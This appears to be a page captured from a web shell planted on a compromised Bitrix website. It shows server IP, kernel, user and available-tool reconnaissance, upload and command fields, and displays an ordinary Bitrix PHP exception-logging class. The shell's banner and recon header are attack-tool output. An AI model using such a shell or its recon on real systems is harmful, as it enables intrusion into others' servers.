403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/diag/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/diag/fileexceptionhandlerlog.php
<?php

namespace Bitrix\Main\Diag;

use Bitrix\Main;
use Psr\Log;

class FileExceptionHandlerLog extends ExceptionHandlerLog
{
	const MAX_LOG_SIZE = 1000000;
	const DEFAULT_LOG_FILE = "bitrix/modules/error.log";

	private $level;

	/** @var Log\LoggerInterface */
	protected $logger;

	public function initialize(array $options)
	{
		$logFile = static::DEFAULT_LOG_FILE;
		if (isset($options["file"]) && !empty($options["file"]))
		{
			$logFile = $options["file"];
		}

		if ((!str_starts_with($logFile, "/")) && !preg_match("#^[a-z]:/#", $logFile))
		{
			$logFile = Main\Application::getDocumentRoot()."/".$logFile;
		}

		$maxLogSize = static::MAX_LOG_SIZE;
		if (isset($options["log_size"]) && $options["log_size"] > 0)
		{
			$maxLogSize = (int)$options["log_size"];
		}

		$this->logger = new FileLogger($logFile, $maxLogSize);

		if (isset($options["level"]) && $options["level"] > 0)
		{
			$this->level = (int)$options["level"];
		}
	}

	/**
	 * @param \Throwable $exception
	 * @param int $logType
	 */
	public function write($exception, $logType)
	{
		$text = ExceptionHandlerFormatter::format($exception, false, $this->level);

		$context = [
			'type' => static::logTypeToString($logType),
		];

		$logLevel = static::logTypeToLevel($logType);

		$message = "{date} - Host: {host} - {type} - {$text}\n";

		$this->logger->log($logLevel, $message, $context);
	}

	/**
	 * @deprecated
	 */
	protected function writeToLog($text)
	{
		$this->logger->debug($text);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit